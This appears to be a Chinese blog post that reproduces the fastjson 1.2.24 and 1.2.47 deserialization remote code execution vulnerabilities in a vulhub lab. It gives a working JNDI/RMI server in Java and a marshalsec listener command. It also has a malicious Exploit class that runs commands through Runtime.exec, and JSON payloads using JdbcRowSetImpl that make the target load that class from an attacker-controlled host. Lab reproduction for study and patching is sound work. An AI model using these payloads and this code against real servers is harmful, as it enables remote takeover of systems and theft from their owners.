fastjson反序列化漏洞复现

00前言

fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。

01环境准备

使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。

然后访问http://ip:8090看见json返回数据,说明环境启动成功。
还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(9999);
        String remote_class_server = "http://ip:port/";//恶意类远程地址
        Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
        //reference的factory class参数指向了一个外部Web服务的地址
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);

        System.out.println("Listener on 9999");
    }
    public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
        start();
    }
}

也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
开启命令,在9999端口监听。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999

看见如下说明开始监听

恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Exploit.class

import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"curl", "https://www.baidu.com/"};//这里写需要执行的命令
            Process pc = rt.exec(commands);
            pc.waitFor();

            //打印命令结果
            InputStream stdin = pc.getInputStream();
            InputStreamReader isr = new InputStreamReader(stdin);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            System.out.println("<OUTPUT>");
            while((line = br.readLine()) != null) {
                System.out.println(line);
            }
            System.out.println("</OUTPUT>");
        } catch (Exception e) {
            // do nothing
        }
    }
}

0x02攻击

poc如下

//1.2.24以下版本
{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}
//1.2.47以下版本
{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

请求搭好的环境,将get改为post,并且将修改Content-Type: application/json

发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。

作者:gelinlang
链接:https://www.jianshu.com/p/df3a0dc7205a
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。